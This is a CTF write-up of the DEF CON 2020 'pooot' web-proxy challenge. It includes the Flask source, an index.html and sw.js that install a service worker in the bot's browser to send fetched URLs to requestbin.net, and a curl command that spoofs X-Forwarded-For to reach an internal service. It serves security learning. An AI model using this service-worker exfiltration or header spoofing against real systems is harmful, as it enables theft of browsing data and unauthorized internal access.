This challenge was about an In-Browser web proxy, that allows you to navigate the web “safely”. They also offer a feedback
system in which you can report broken links. This immediately makes us thinking about some kind of bot that we should phish and steal some cookies with an XSS.
It wasn’t that easy 😃
No code was provided at first, but was easy to find in the commented html of the page:
<!-- <a href="/source"></a> -->
As soon as we opened the code, it was clear that it was a Flask app, that was using a Redis queue to run a worker to visit the feedback you report.
This was the initial code (or maybe the second version of it, they updated it couple of times without any notice. Not nice! 😥)
@app.route('/<string:domain>/<path:path>')
@app.route('/<string:domain>')
def proxy(domain, path=''):
protocol = "https"
if request.headers.getlist("X-Forwarded-For"):
client_ip = request.headers.getlist("X-Forwarded-For")[0]
else:
client_ip = request.remote_addr
if isIP(domain):
protocol = "http"
if client_ip != "172.25.0.11":
app.logger.error(f"Internal IP address {domain} from client {client_ip} not allowed." )
return "Internal IP address not allowed", 400
try:
app.logger.info(f"Fetching URL: {protocol}://{domain}/{path}")
response = get(f'{protocol}://{domain}/{path}', timeout=1)
except:
return "Could not reach this domain", 400
content_type = response.headers['content-type']
if "html" in content_type:
# Here there was some noisy code that does some html manipulation.
# Nothing really interesting too look here.
else:
content = response.content
return Response(content, mimetype=content_type)
The interesting bit here is the X-Forwarded-For
header to make the proxy visit an IP (especially an internal one to do some nasty SSRF
) you need to either be 172.25.0.11
or make the API thinks so bypassing the header. We start wondering who was this 172.25.0.11
. Now moving on the feedback endpoint, at some point they add a constraint in the code that was checking for domains that start with 172.25
so we were not able to report such domains. (we don’t really understand why they did this tho 😕).
This instad was the initial code of the feedback endpoint:
@app.route('/feedback', methods=['GET', 'POST'])
def feedback():
form = FeedbackForm()
if form.validate_on_submit():
flash('Feedback form submitted {}:{}'.format(
form.problem.data, form.url.data))
url = re.sub(r'http[s]*://', '', form.url.data)
job = q.enqueue(
worker,
url
)
app.logger.info('Reported URL: %s' % (form.url.data))
return redirect('/')
return render_template('feedback.html', title='Feedback Form', feedform=form)
Nothing really interesting here, they simply add in the Redis queue the URL to be visited by the worker
which we suppose it was the bot.
Now getting into the exploitation part here, the main idea is the fact that since you can visit any webpage under their domain, this was tricking the browser into neglect any Same-Origin
policy protection that It should have out of the box, so you were able to execute javascript that can do pretty much everything under Welcome to Pooot.
The challenge wasn’t very clear in his intent, so even if we had a way to make the bot executing any javascript under the Same-Origin
and Secure Context
, we didn’t have an idea of what to do with that. We thought about installing a serviceWorker
(remember this one 🧐), we thought about stealing the csrf_token
to make the bot do some POST
requests, we though about leaking the internal IP of the bot using a WebRTC API ( https://bugzilla.mozilla.org/show_bug.cgi?id=959893 ). At some point, we were even thinking of some browser exploits like a well-known sandbox escape + RCE
. After finding out that the bot was using the last version of Chrome Headless, we thought if we should use our 0day
to exploit that ( it’s a joke 😂). Our last attempt before giving up was some CORS
bypassing using https://cors-anywhere.herokuapp.com/ but even here, no luck.
At the end, summing up, we guessed that there was some internal IP that we should be able to visit to get the flag, but since we have no indication (nor in the code nor the chall description) of where we should look for this information, considering the possibilities we had in guessing the right internal IP with the right port ( ~4M tries, no thank you) and the fact that we were exhausted after wasting +10h on this we just decide to give up waiting for a write up to illuminate us.
After the competition ends we finally can learn the intended solution, which was to smuggle the HTTP requests of the bot, since he was visiting the website you give him to, but also the flag. Our reaction was kinda 🤨, how we were supposed to think about that!
But anyway, since we learn something I’ll write down the code for the intended solution, other teams might have solved in different ways. I heard that the Chrome DevTools remote debugger was left open, and also that somebody was able to leak so GCloud keys from a related server, but that was indeed a legit issue outside the CTF scope 😅
So one possible way of doing that is to install a Service Worker in the victim browser (we had this idea!). Install a service worker give you the power of controlling the network of the browser victim, being able to listen to all the fetch events that happen under such domain. Of course, you can’t simply install a Service Worker from one website to another under normal circumstances. But in this case, it will work because as we said before, we respect the Same-Origin policy being the website the bot visits something like: https://pooot.challanges.ooo/sneaky_website.com
so the browser legitimately thinks that this is simply a path of https://pooot.challanges.ooo/ so same Secure Context.
Now getting into the code, that was fairly simple, you should simply host in one of your controlled websites 2 files., one for the registration of the serviceWorker
and the other with the actual service worker code, in which you will listen for the fetch
event and smuggle out the visited URL into another of your controlled services (we use requestbin.net for that):
index.html
<html>
<body>
<script>
navigator.serviceWorker.register('/YOUR_WEBSITE_DOMAIN/sw.js', { scope: '/' })
.then((reg) => {
console.log('SW registered')
});
</script>
</body>
</html>
sw.js
self.addEventListener('install', event => {
fetch(`https://pooot.challenges.ooo/requestbin.net/r/1bcsgvj1/sw_installed`)
.then(data => console.log(data));
})
self.addEventListener('fetch', event => {
fetch(`https://pooot.challenges.ooo/requestbin.net/r/1bcsgvj1/sw_fetch_${event.request.url}`)
.then(data => console.log(data));
});
Now we simply need to submit our website into the feedback form, wait for the service worker to get registered into the bot browser and for the fetch request to happen on the service that was exposing the flag.
http://requestbin.net
GET /r/1bcsgvj1/sw_fetch_https://pooot.challenges.ooo/172.25.0.102:3000
And here we have it https://pooot.challenges.ooo/172.25.0.102:3000
We all need to do now is simply curl
that service and get the flag:
Defcon2k20/pooot via 🐍 system
➜ curl -k -H "X-Forwarded-For: 172.25.0.11" "https://pooot.challenges.ooo/172.25.0.102:3000"
OOO{m3lt1ng_p0t_of_s3cur1ty_0r1g1n5}%
Even if we didn’t solve the challenge. It was a nice exercise and we learn many new cools tricks. This was not the best though of the challenges and was involving a little bit of guessing which is not ideal, but considering the amount of work and efforts the organizers put in creating this challenges, maintaining them alive with literally thousands of hackers trying to attack them, there is really nothing we should complain about.
Thank you so much for reading this, hope it was helpful.